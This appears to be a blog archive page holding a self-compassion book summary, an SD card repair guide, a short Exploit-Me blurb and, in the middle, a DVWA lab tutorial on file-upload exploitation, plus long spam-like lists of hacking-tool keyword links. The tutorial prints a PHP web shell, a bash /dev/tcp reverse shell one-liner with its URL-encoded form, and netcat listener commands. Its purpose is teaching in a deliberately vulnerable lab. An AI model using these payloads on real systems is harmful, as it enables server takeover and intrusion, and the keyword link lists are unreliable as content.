Friday, September 4, 2020

Why Self-Compassion?

I've read so many self-help books, and upon reviewing the most helpful ones, I keep saying, "that's another way of saying to have self-compassion". The concept that ties all the ideas in these self-help books boils down to self-compassion.

I also recommend The 7 Habits of Highly Effective People for a roadmap on how to organize your life in a practical manner, as a very effective and powerful way of doing your to-do lists, and so forth. I summarized the book here in two parts, this is the first part.

But it's really self-compassion that can motivate you to be effective in the first place, and to really stick to your goals! I wasn't able to follow any sort of positive habits for long when I read The 7 Habits in college, because of being easily demoralized.

Therefore, in this post, we'll explain why self-compassion is such a powerful concept. Practicing self-compassion is personal and isn't applied in a "cookie-cutter" way. In fact, having self-compassion is extremely challenging and difficult, as you have to find out what works for you.

In this past post, I superficially touched upon a self-compassion exercise, so in this post, we'll explain why self-compassion is key, by summarizing Self-Compassion: The Proven Power of Being Kind to Yourself  by Kristen Neff, Ph.D., who is the foremost authority on the subject.

In the horrible Harry Harlow experiments, he nevertheless proved that love and connection are more basic than food and water. The poor baby monkeys were taken away from their mothers, and had to choose between the fake cloth mom with no food/water, and the fake wire mom with food/water.

Harlow himself thought that the babies would stick with the wire mom the whole time because of the food and water, but found out the exact opposite. The babies clung to the cloth mom and when hungry, run toward the food/water, and then immediately run back to the cloth mom.

What this experiment proved is that the basic need of all humans is love and connection, more so than even food and water. When you don't have love and connection with others, it can lead to depression, anxiety and even suicide.

This sense of belonging is primary and deep, even in the most "macho" rituals, American football. By being a diehard fan of one team, you embrace other fellow fans. You see strangers hugging each other, sharing food and beer in these "tail-gate" parties. There's a huge sense of connection if you ever participated in one of these parties.

Having self-compassion sounds soft and fluffy, but in reality, it can be very tough and painful at times, as we will see down the road.

PROBLEM ONE: Comparing ourselves to others leads to disconnection and suffering

At least in the Western world, we live in an extremely competitive society where we must excel, and it's not "good enough" to be average, you have to be above average.

This is so illogical, because we can't be above average in all things, and there are always going to be people who are more beautiful, smarter, more successful than us.

Sadly, by comparing ourselves to others and being competitive in wanting to be above-average, people tend to look down upon others to feel better about themselves.

We may get a rush from having higher self-esteem when we mistakenly feel that we are more "successful" than another person.

However, if we meet someone who is more "successful" than us, then our self-esteem plummets, and we feel like crap.

Therefore, comparing ourselves to others leads to this emotional see-saw. If we find we're better, we get elated, if we don't measure up, we get depressed.  Even worse, when we protect our self-image to avoid feeling bad about ourselves, we don't acknowledge our faults, rather blaming the other person, even though "it takes two to tango".

This leads to ongoing conflicts, which causes disconnection from your loved ones. Further, by not seeing our flaws, that leads to stagnation and lack of growth, because how can you improve if you don't acknowledge your faults?

The solution to prevent these comparisons is self-compassion. Stop judging and evaluating ourselves altogether! Don't label ourselves as "good" or "bad" but rather accept ourselves openly, and treat ourselves with kindness like a best friend.

Does this work? Yes! By having self-compassion you accept yourself because you're like everybody else! Everyone has flaws, we're no different. By accepting ourselves for who we are, then we can accept others as well, and there's no reason to compare.

When you love and truly accept yourself, you're not going to look down on those who are less fortunate. Likewise, you're not going to have that sinking feeling that you're not doing enough when you see others drive fancy cars.

Caveat: There are many people who are rather harsh with themselves, but would never be that way with others. However, by being nasty to yourself, you're not going to feel good about yourself.

Why not pursue Win/Win where you're compassionate towards yourself and others?

I notice that I tend to feel sour when someone I dislike becomes more successful (comparing), and I get down on myself for not being that successful. Then I feel bad that I can't forgive the person and let go. It's an absolutely awful feeling, it doesn't do me any good, and certainly not to the more successful person. I really hate that pinched soul feeling.

Next, I continue to feel bad about myself for not being charitable, and this spirals downward to being angry with myself, "why can't I just forgive!".

However, when I have self-compassion and realize that forgiveness is something I struggle greatly with, and indeed a lot of people have the same issues, I can be more patient with myself and move toward being less judgmental.

Allowing yourself to be kind to yourself humanizes you (as you suffer just like everyone), as well as humanizing others because you understand deep down that they're going through same and/or different struggles as well.

In other words, as part of humanity, you are a worthy person, just like everyone else. When you see yourself as different than others, that again leads to feeling disconnected and not belonging to humanity.

Indeed, dehumanizing others leads to disconnection, which has led to unspeakable crimes against humanity. By seeing "non-Aryan" groups as other and less than human, it was easy for an entire nation to exterminate and torture people "because they're not like us".

PROBLEM 2: Feeling lonely and isolated

We looked at the first part of self-compassion which is self-kindness: gentle understanding of ourselves, rather than being critical and judgmental.

The second part of compassion we briefly touched upon. Why should we be kind to ourselves? Because we're all part of humanity. As we're kind to others, then it makes logical sense to be kind to ourselves.

The concept here is "we're all in this together". We recognize this common human experience of suffering, acknowledging the interconnected nature of our lives (Harry Harlow experiment), indeed life itself.

Therefore, compassion is relational. By seeing people as part of humanity, rather than "other" as the Nazis did, we feel connected.

As explained above, our deepest need is to belong, but when you compare yourself to others, this disconnect leads to loneliness. The KKK feel superior to others because they're white, and the "other" is not. The same can be said of Men, Women, Democrats, Republicans, Americans, Russians, Christians, Muslims, and the list goes on. We're part of this group, therefore, we're superior to this other group. Fanatical group identity is dangerous as it leads to disconnection and even genocide. 

However, if you refuse to hold this view and have compassion toward yourself and others, regardless of group affiliation, you have connection. Instead of seeing differences, you reframe and see how we're so similar to one another. We all want love and connection; that's our similarity.

So when our sense of self-worth and belonging is grounded in simply being human, we can't be rejected or cast out by others. It makes no sense to say that you're rejected by humanity, because you're human.

Remember your shared humanity. That can help you to have compassion for who you are. It helps to have others be kind toward you, but they can't be there with you 24/7. However, you can be with yourself 24/7, so you might as well be kind to yourself using the "best friend" approach discussed in this post.

PROBLEM 3: Suffering

This is the hard part of self-compassion. Self-kindness and common humanity we discussed above. The third and last step is mindfulness.

You must be aware of your suffering, but in a balanced way, where you neither diminish, or make it out to be worse than it is. I tend to make a mountain out of an ant-hill.

Therefore, in this third part of self-compassion, you need to be mindful - clear seeing and nonjudgmental acceptance of what's occurring in the present moment.

You're facing up to reality, neither underestimating or over-exaggerating things. First step is to recognize when you're suffering instead of suppressing it, because you can't heal what you can't feel. Be aware of your pain. By stuffing and ignoring pain, it can explode.

A good analogy of awareness is thus: Awareness is the blue sky. Your feelings and thoughts are the birds flapping around. Identify with the sky, instead of the birds. If you remain in awareness (i.e. sky) and not react to the thoughts and feelings (birds), you can be calm and centered as the sky doesn't shift and change in a feckless manner.

You can't change your thoughts and feelings very well, but you can change your reactions to them. There are many meditation techniques, but the key here is to hold and be aware of the pain, and don't numb it.

Indeed, people who suffer from PTSD tend to numb their emotions, as a very understandable mechanism to avoid feeling the immense pain of trauma.

But by having this numbing of emotions, they can't feel the positive emotions of joy, creativity, love. When you numb, you numb all emotions. Often, people who suffer from PTSD say that they're living zombies and they don't know how to have fun anymore.

The hard work in PTSD involves working through the painful memories in a safe, secure environment. The acknowledgment, and being one with the pain, is the really difficult part of self-compassion.

One example that makes us all feel bad about ourselves is when we hear a baby crying which irritates us, but we judge ourselves for having these thoughts, "what a horrible person I am for having that thought, it's only a baby, a nicer person would feel sympathy rather than being triggered".

However, if you have self-compassion, you stop the judgment. You become aware (sky) of the irritation (birds) you're having, you acknowledge the negative thought, while recognizing that surely a lot of people would feel the same way, and the thought will eventually pass!

A silly example is when I went to a party. I tend to need at least 5 large glasses of wine and/or beer to feel socially comfortable. The extremely uncomfortable feeling of being socially awkward has been too hard for me to deal with.

However, at a recent party, I decided not to drink - this wasn't too daring, because there were only 3 people at the party that I don't know that well. I decided to practice self-compassion, since I just completed reading the book.I decided to be one with being socially awkward.

What helped me was chanting exactly how I felt, "socially awkward, socially awkward, socially awkward". However, after 1 hour (I'm "slow to warm up"), I stopped feeling awkward, and I ended up enjoying being in the moment and having meaningful connections.

I'm not sure if this strategy would work if I'm in a party with people I barely know, but this is a small step to being aware.

Dr. Neff recommends that when you feel suffering, to have a mantra, in your words, along this line:

This is a moment of suffering
Suffering is part of life
May I be kind to myself in this moment
May I give myself the compassion I need

I kind of like Brene Brown, Ph.D. (author of Daring Greatly) mantra where one of her interviewees, when in pain would simply say, "pain, pain pain". Or you can say "ouch, ouch, ouch", to acknowledge the pain, as well as the rest of the mantra as suffering being part of humanity, and to give yourself kindness and compassion. It's best if it's in your own words.

On a positive note, when you have awareness, you're going to have awareness of positive emotions too! In this situation, you can hold it in loving awareness and really make that feeling bloom! You can experience love and joy with more awareness and rejoice in it - it actually overflowed to my coworkers and strangers!

Using the three part component of self-compassion as a way toward love and connection, it helps you to deal with pain and suffering.

I then chuckled at Dr. Neff's stages of self-compassion, because I went through the same thing. Initially, as I had self-compassion, I had this outpouring of love toward my coworkers, and work was light - I actually made some rather creative suggestions which surprised even me. I was enamored with self-compassion.

However, I then saw the hard work of self-compassion. It doesn't take the pain away at all, rather it helps you to be more resilient and deal with pain in a more effective way.

Instead of numbing or burying your feelings, which will pop up again, as survivors of trauma would all attest, in the form of disturbing intrusions, horrific nightmares and flashbacks, rather self-compassion holds you in awareness.

With self-compassion, you gain the resilience to work on painful emotions, feelings and thoughts head on. While having compassion for yourself that you're suffering like the rest of the world, and being aware of the pain, you can wait for the pain to pass. You can weather these negative emotions. This leads to emotional resilience, and with practice, you become better and better at it.

PROBLEM 4: Being successful

If you think about it, if you see someone more successful than you, and he brags to you about all the things he bought, where you "only" have a run of the mill sedan, it'll be hard to be friends with him.

Therefore, what if you're highly successful, does this mean you'll be disconnected from others? If you have self-compassion, no! As part of humanity (principle 2 of self-compassion), you'll have shared joy.

You are concerned for your own well-being as well as others, so you want both to succeed! By recognizing our inherent connectedness, Dr. Neff writes, "When we're part of a larger whole, we can feel glad that 'one of us' has something to celebrate".

You celebrate with exuberance in the success of others with self-compassion. In fact, with self-compassion, you can genuinely feel that way, instead of grudgingly when you see your friends being more successful than you.

Instead, armed with self-compassion, you become aware of other people's positive traits and fully appreciate them, not taking them for granted. You rejoice in yourself, just as you rejoice in others.

PROBLEM 5: I'm not going to be successful if I have self-compassion

The opposite is true. So many psychological studies have shown that intrinsic motivation is more powerful than extrinsic motivation.

If you're stuck in the self-esteem, need to prove myself trap, you're doing things to be successful, to look smart, athletic so that you can be admired, which strokes your ego. This is extrinsic motivation.

Let's say the activity is very grueling, streaming as a career. With extrinsic motivation, your self-esteem increases when your viewer numbers go up, and then it crashes when your number goes down.

I know this very well. In the early stages of streaming, I actually got depressed when my viewer number went from 10 to 9, WTF!

But you still stream for those numbers because when you grow, your self-esteem does as well, and I did get emotional high's when I got an average of 20 in one month - it's like a drug!

However, during summer, when many are off on vacation, your numbers tend to be lower for the next 3 months. Since you're streaming for self-esteem and those numbers, you may be demoralized and then give up.

Further, by wanting to be successful so you can prove yourself as the "better" streamer (stroking your ego), you're afraid to take creative risks, make mistakes, for fear of losing viewers. You then look "wooden" which is the death-knell in entertainment. You keep to a regular script which can get stale, also another way to make yourself bored and not wanting to stream anymore.

However, if you have self-compassion, which leads to awareness of what you truly want in life, you decide to stream because you love the process as well as your viewers.

You enjoy the connection and the challenge of negotiating chat and gameplay, and finding new creative angles to be entertaining.

This is intrinsic motivation, you're doing something because you want to do it. You don't care if you fail and your numbers drop like flies, because your self-esteem isn't harmed in any way, because you have self-compassion.

If you do something "dumb" while streaming, you'll be able to do your "ouch" mantra, hold the embarrassment, and move on, with emotional resilience. You can take enormous risks (historically leading to major advancements in technology and innovation) because you simply don't care about social rejection or judgment, or low viewer numbers. You are authentic and free.

If you're stuck on an issue with streaming, you're not afraid to ask for help for "fear of looking stupid". In other words, you're not controlled by societal pressures when you have self-compassion.

You do your own thing with utmost courage, authenticity, honesty and integrity, screw the rules! Contrary to what people think, self-compassion isn't "wimpy", but bad-ass! What's more bad-ass than being true to yourself and a "rebel".

At any rate, it appears that those who do something they absolutely love tend to be more successful than someone who's doing it to prove themselves.

When you love something, you never get tired of doing it, to the point where you may have to work on self-care issues such as eating regular meals and getting enough sleep (I'm thinking specifically video gaming).

When you're doing something to prove things, you're going to be demoralized when there's a glitch, a temporary obstacle, and failure, and you may quit altogether.

The person who's spending and practicing that many hours because of the enjoyment will tend to be better at the activity than someone who quits in fits and starts due to obstacles in the way.

I wanted to outline the three components of self-compassion here, and present the major arguments for self-compassion.


There are many exercises in the book that I won't outline here, so if you feel that the concept of self-compassion makes sense and can make a difference in your life, I highly recommend Self-Compassion: The Proven Power of Being Kind to Yourself

I found the concept of self-compassion jump started me on being way more pro-active in self-care and fulfilling my specific goals. Perhaps borrow the book from the library or look through the book at the bookstore. Do the exercises that resonate with you. Above all have self-compassion!

Note: I have been including the How of Happiness link in the bottom of all my posts, but I found Dr. Neff's Self-Compassion equally important, so I'll be alternating posts with these books.

Monday, August 31, 2020

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

More articles


  1. Hacker Tools 2020
  2. Hack Tools For Mac
  3. Hacker Tools For Ios
  4. Pentest Tools Online
  5. Hacking Tools Mac
  6. Nsa Hacker Tools
  7. Termux Hacking Tools 2019
  8. Hack Website Online Tool
  9. Pentest Tools Free
  10. Pentest Tools Website Vulnerability
  11. Pentest Tools For Mac
  12. Pentest Tools Website
  13. Nsa Hack Tools
  14. Pentest Tools Download
  15. Pentest Box Tools Download
  16. Hacker Tools
  17. Pentest Tools Website
  18. Pentest Automation Tools
  19. Pentest Tools Subdomain
  20. Wifi Hacker Tools For Windows
  21. Hack App
  22. Easy Hack Tools
  23. Pentest Tools Nmap
  24. Hacking Tools Kit
  25. Hack Tools Pc
  26. New Hack Tools
  27. Game Hacking
  28. Hacker Tool Kit
  29. Hacking Tools Name
  30. Hacking Tools For Games
  31. Hacker Tools Free
  32. Pentest Tools Find Subdomains
  33. What Is Hacking Tools
  34. Hacker Tools For Ios
  35. Hacking Tools For Windows
  36. Pentest Tools Port Scanner
  37. Pentest Tools
  38. Hacking Tools Software
  39. Hacker Tools 2020
  40. Hacking Tools Online
  41. Best Pentesting Tools 2018
  42. Pentest Tools Find Subdomains
  43. Pentest Tools Subdomain
  44. Hacker
  45. Hack App
  46. Hack Tools
  47. Best Pentesting Tools 2018
  48. Hackrf Tools
  49. Hack Tool Apk No Root
  50. Pentest Tools Subdomain
  51. Pentest Tools Website Vulnerability
  52. New Hacker Tools
  53. Hacker Tools Github
  54. Best Pentesting Tools 2018
  55. Hack Tools For Games
  56. Hacking Tools Kit
  57. Hack Tools For Mac
  58. Hacking Tools Online
  59. How To Install Pentest Tools In Ubuntu
  60. Growth Hacker Tools
  61. Nsa Hacker Tools
  62. Hacking Tools 2020
  63. How To Install Pentest Tools In Ubuntu
  64. Pentest Tools Alternative
  65. Pentest Box Tools Download
  66. Termux Hacking Tools 2019
  67. Pentest Tools
  68. How To Install Pentest Tools In Ubuntu
  69. Hack Tools For Ubuntu
  70. Hack Rom Tools
  71. Nsa Hack Tools
  72. Hack Tools For Mac
  73. Hack Tools Download
  74. Easy Hack Tools
  75. Hacking Tools For Games
  76. Hacking Tools For Kali Linux
  77. Github Hacking Tools

Sunday, August 30, 2020

Exploit-Me


"Exploit-Me is a suite of Firefox web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download. Along with this SecTor is making the audio of the talk available." read more...



Website: http://securitycompass.com/exploitme.shtml

More information


  1. Kik Hack Tools
  2. Hacker Tools Software
  3. Nsa Hack Tools Download
  4. Hack Tool Apk
  5. Hacker Tools Free Download
  6. Hacking Tools Name
  7. Nsa Hacker Tools
  8. Install Pentest Tools Ubuntu
  9. Hacker Tools Mac
  10. Hacking Tools Name
  11. Pentest Tools Linux
  12. Hackrf Tools
  13. Hacking Tools Mac
  14. Pentest Tools Port Scanner
  15. Pentest Tools Linux
  16. Hacking Tools Pc
  17. Hacking Tools For Games
  18. Hacks And Tools
  19. New Hacker Tools
  20. Hacker Tools Apk Download
  21. Hacking Tools For Windows
  22. Pentest Tools Free
  23. Hacking Tools Online
  24. Hack Tools For Games
  25. Physical Pentest Tools
  26. Pentest Tools For Mac
  27. Hacker Hardware Tools
  28. Hacker Tools For Mac
  29. How To Hack
  30. Hacker Techniques Tools And Incident Handling
  31. Hacking Tools Name
  32. Nsa Hacker Tools
  33. Hack Tools Download
  34. Hacking Tools Software
  35. Hackers Toolbox
  36. Nsa Hack Tools
  37. Physical Pentest Tools
  38. Hack Tools Github
  39. Hack Tools For Ubuntu
  40. Ethical Hacker Tools
  41. Wifi Hacker Tools For Windows
  42. Usb Pentest Tools
  43. Hacking Tools For Pc
  44. How To Install Pentest Tools In Ubuntu
  45. Pentest Tools Website Vulnerability
  46. Hacking Tools Windows
  47. Hacking Tools Usb
  48. Best Pentesting Tools 2018
  49. Hack Tools For Windows
  50. Best Hacking Tools 2020
  51. Pentest Tools Subdomain
  52. How To Install Pentest Tools In Ubuntu
  53. New Hack Tools
  54. Black Hat Hacker Tools
  55. Pentest Tools Framework
  56. Hacking Tools Software
  57. New Hacker Tools
  58. Wifi Hacker Tools For Windows
  59. How To Install Pentest Tools In Ubuntu
  60. Hacking Tools Online
  61. Tools 4 Hack
  62. Pentest Tools Linux
  63. Pentest Tools Alternative
  64. Hacking Tools Download
  65. Pentest Tools For Windows
  66. Hacker Tools For Mac
  67. Growth Hacker Tools
  68. Hacking Tools Github
  69. Pentest Tools Download
  70. Hack Tools Github
  71. Top Pentest Tools
  72. Best Hacking Tools 2020
  73. Hacking Tools Hardware
  74. Hacker Tools Github

How To Repair A Crashed SD Card And Protect Your Data

One of the many reasons users prefer Android devices is the ability to expand the amount of available storage space using the MicroSD Card. Since we have the ability add up to 256GB of external storage to Android devices today, you're bound to choke up when the SD card crashes without any tell-tale signs.
If you're experiencing issues on how to repair a crashed SD card on your Android device, there are certain fixes you can try out. Since there's not a singular solution to SD Card issues, we've created a guide to help you detect the issue with your external storage and mentioned multiple solutions to get your SD card working and even retrieve your stored data along with it.


Before you start

Don't format the card if you want to retain any of the photos on it. You can follow the tips in our separate article on how to format a write-protected SD card after you've tried to recover any files that are on your card.

Now, try and find a different card reader. If you've inserted an SD card into your laptop or PC's built-in slot and nothing happens, try using a different computer or a USB card reader.
Sometimes it's the reader at fault – not the card. You can buy a USB SD card reader online for just a couple of pounds which will accept both microSD and standard SD cards.

Steps to Repair a Crashed SD Card and Protect your Data:

Step 1 – Physically clean the SD Card

Despite being durable and built to last, SD cards are prone to crashing sometimes due to physical damage. Since you carry your phone around everywhere, some dirt and dust are bound to fill up in the cracks, that can make SD card stop working from time to time.
The first thing you can try to do on how to repair a crashed SD card is physically scrub and clean it.
  • Remove the MicroSD card from your Android device and place it on a clean surface. Make sure that you turn off your phone before pulling out the SD card for safety.
  • Flip the MicroSD card and using a white eraser, gently scrub the gold contact pins of the SD card to get rid of any residual dirt or grime.
  • If you have an alcohol-based cleaning solution or even nail polish remover around, dab it on to the connector pins using a Q-tip and gently rub it.
Once the SD card has dried out, you can plug it back into your Android device and turn it on to see if the solution has worked.


Step 2 – Format the SD Card

If your SD card is being detected by the Android device but you're having trouble accessing the saved files, there's a good chance that the files are corrupt. This could either be due to a particular broken file in the saved storage, or a virus that is causing the issue.
Either way, the only option there is left for you to try out is make the SD card reusable for formatting it.
  • From the home screen of your Android device, head over to the Settings app and then scroll down to find the Storage
  • In the Storage tab, you'll be able to find the Erase SD Card option, so go ahead and select it.
  • Confirm your action to delete all of the files and folders stored on your SD card and this should effectively solve the issue.

Step 3 – Check the SD card compatibility

If you are trying to figure out how to repair a crashed SD card on an older Android device, you might just need to look at the details more carefully. If your SD card fails to be recognized on the mobile device but works with your computer, the problem could be related to compatibility.
  • If the MicroSD card that you are trying to use with your older phone is SDXC version (built for higher transfer speeds), it will not be recognized.
  • Look up the maximum capacity of expandable storage that is supported by your device, since they can vary from starting at 64GB to all the way up to 256GB.

Step 4 – Diagnose the SD card using a PC

If a simple format did not help you solve the SD card problem, you might need a more technical analysis of the issue. To do so, you can plug in your SD card into a computer and use the diagnostic tools to find out the pertaining errors and effectively fix them.
  • Connect your Android mobile device to a computer using a USB cable.
  • Make sure that you connect Android as MSC (Mass storage mode) and not MTP (Media transfer mode). You can do this using the notification menu once you connect the phone to your computer.
  • Launch the Windows Explorer and right click on the SD card driver you see on the screen. In the options menu, choose Properties – Tools – Error Checking and wait for the entire process to complete.
  • The computer will try to update the software for your SD card and fix any errors that are causing it to crash.

Step 5 – Use chkdsk to fix/repair a corrupted SD card without data loss

The "chkdsk" command is your first choice for damaged SD card repair. Requiring no format, it allows you to fix or repair a corrupted SD card and regain access to all your important files on the device. Let's see how it works. (I'm using Windows 7 for this demonstration)
1. Plug in your SD card to your computer with a card reader.
2. Go to the start menu, type in "cmd" in a search bar, hit enter and then you can see something named "cmd. exe" in a list of programs.
3. Right-click "cmd. exe" and then you will get the following command windows that allow you to fix your corrupted SD card without formatting.
4. Type in "chkdsk /X /f sd card letter:" or "chkdsk sd card letter: /f ", for example,"chkdsk /X /f G:" or "chkdsk h: /f".
After finishing all the steps, Windows will have checked and fixed the file system of the SD card. It usually takes several minutes. After that, if you see "Windows has made corrections to the file system" in the command window, then congratulations! The damaged SD card is successfully fixed and you can see your data again. If not, you should try a third-party data recovery software to retrieve your files from the damaged SD card and repair it by formatting.
Once the process has been completed, you can go ahead and pop the SD card back into your Android device and see if the issue has been resolved.

Step 6 : Use EaseUS Data Recovery Wizard to recover data from damaged SD card

1. Connect the corrupted SD card to your PC, launch EaseUS's data recovery software, select the card and click "Scan".
2. A quick scan will first start to search all the lost and existing data on the SD card. And after that, a deep scan will automatically launch in order to find more files.
3. After the scan, choose those files you want to recover and click the "Recover" button to retrieve them back.

Final Words :

So finally through this article, you have got to know about the method by which the SD card could be repaired and hence the data in it could be saved for the further access. We have tried to present the method in easy to grab manner and we believe that you could possibly get to know about it easily. Hope that you would have liked the information in this post, if it is so then please share it with others. Also, do not forget to share the post with others, let most of the people know about the method. Share your comments about the post through using the comment box below. At last never the fewer thanks for reading this post!

More articles


  1. Hacker Tools Apk Download
  2. Pentest Tools Review
  3. Hack Tools For Windows
  4. Pentest Tools Free
  5. Pentest Tools Linux
  6. Pentest Tools For Ubuntu
  7. Pentest Automation Tools
  8. Hacking App
  9. Hacker Tools List
  10. Hacking Tools For Mac
  11. Hacking Tools For Kali Linux
  12. Hacker Tools For Windows
  13. Hacking Tools Windows 10
  14. Hack Tool Apk No Root
  15. Pentest Tools Subdomain
  16. Beginner Hacker Tools
  17. Hacking Tools Windows
  18. Hack Tools Pc
  19. Hack Tools For Games
  20. How To Make Hacking Tools
  21. Pentest Tools For Android
  22. Hack Tools For Mac
  23. Pentest Tools Online
  24. Hack Tools Download
  25. Pentest Tools Bluekeep
  26. Nsa Hacker Tools
  27. Hack Tools Online
  28. Pentest Tools
  29. Pentest Tools Find Subdomains
  30. Tools 4 Hack
  31. Bluetooth Hacking Tools Kali
  32. Pentest Tools Url Fuzzer
  33. Nsa Hack Tools Download
  34. Hacking Tools Free Download
  35. Hacking Apps
  36. Hack Rom Tools
  37. Hacker Tools 2019
  38. Tools Used For Hacking
  39. Pentest Tools Alternative
  40. Hackrf Tools
  41. Ethical Hacker Tools
  42. Hacking Tools For Windows
  43. Hacking Tools 2019
  44. Hack Tools Online
  45. Pentest Tools Subdomain
  46. Hacking Tools For Windows
  47. Hack And Tools
  48. Pentest Automation Tools
  49. Hacking Tools Usb
  50. Hacking Tools Online
  51. Hacking Tools For Windows Free Download
  52. Ethical Hacker Tools
  53. Hacking Tools For Mac
  54. Hacking Tools Hardware
  55. Hacking Tools For Kali Linux
  56. Hacker Tools Windows
  57. Hacking Tools For Kali Linux
  58. Hacker Search Tools
  59. Blackhat Hacker Tools
  60. Pentest Tools Kali Linux
  61. Bluetooth Hacking Tools Kali
  62. Hacker Tools Apk Download
  63. Hacker Tools 2020
  64. Free Pentest Tools For Windows
  65. Hack Rom Tools
  66. Hacking Tools Github
  67. Blackhat Hacker Tools
  68. Hacker Tools Apk
  69. Tools 4 Hack
  70. Hackers Toolbox
  71. Easy Hack Tools
  72. Hacker Tools For Pc
  73. Hacking Tools For Windows Free Download
  74. Pentest Reporting Tools
  75. Pentest Tools Android
  76. Hack Tool Apk
  77. Black Hat Hacker Tools
  78. Growth Hacker Tools
  79. World No 1 Hacker Software
  80. Pentest Tools For Ubuntu
  81. Pentest Tools Website
  82. Hacker Tools For Pc
  83. Github Hacking Tools
  84. Game Hacking
  85. Hacking Tools Free Download
  86. Bluetooth Hacking Tools Kali
  87. Hacking Tools Kit
  88. World No 1 Hacker Software
  89. What Is Hacking Tools
  90. Pentest Tools Windows
  91. Pentest Tools Github
  92. Hacker Tools List
  93. Easy Hack Tools
  94. Black Hat Hacker Tools
  95. Hacker Tools Apk
  96. Top Pentest Tools
  97. Hack Tools For Games
  98. Hack Tools 2019
  99. Tools 4 Hack
  100. Hacker Tools For Windows
  101. Pentest Tools Github
  102. Pentest Tools List
  103. Pentest Tools Open Source
  104. Hack Tools For Ubuntu
  105. New Hacker Tools
  106. Hacker Tools Hardware
  107. Hak5 Tools
  108. Hacker Tools List
  109. Tools For Hacker
  110. Hacking Tools Mac
  111. Hack Tools
  112. Hacking Tools Download
  113. Hacker Tools Apk
  114. Easy Hack Tools
  115. Pentest Tools Subdomain
  116. What Are Hacking Tools
  117. Hacker Tools Free
  118. Pentest Tools Github
  119. Hacking Tools Download
  120. Hacker Tools Free Download
  121. Hackers Toolbox
  122. Pentest Tools Framework
  123. Pentest Tools Open Source
  124. Physical Pentest Tools
  125. Hacks And Tools
  126. Hackrf Tools
  127. Hack Tools Download
  128. Hacking Tools For Windows Free Download
  129. Hacker Tools For Pc
  130. Hacking Tools For Windows 7
  131. Game Hacking
  132. Hacking Tools For Kali Linux
  133. Best Pentesting Tools 2018
  134. Pentest Tools Linux
  135. Hacker Tools Apk Download
  136. Pentest Tools Tcp Port Scanner
  137. Nsa Hacker Tools
  138. Physical Pentest Tools
  139. Termux Hacking Tools 2019
  140. Hack Tools For Mac
  141. Game Hacking
  142. Hacker Tools Free Download
  143. Pentest Tools Tcp Port Scanner
  144. Hacking Tools Software
  145. Hacker Tool Kit
  146. Hacking Tools Pc
  147. Pentest Recon Tools
  148. Pentest Tools Url Fuzzer
  149. How To Install Pentest Tools In Ubuntu
  150. Hacker Tools Software
  151. Pentest Tools Tcp Port Scanner
  152. Pentest Automation Tools
  153. Hack Tools Github
  154. Hacking App
  155. Hacker Search Tools
  156. Hackers Toolbox
  157. Hacker Tools Online
  158. Hacker
  159. Pentest Tools For Ubuntu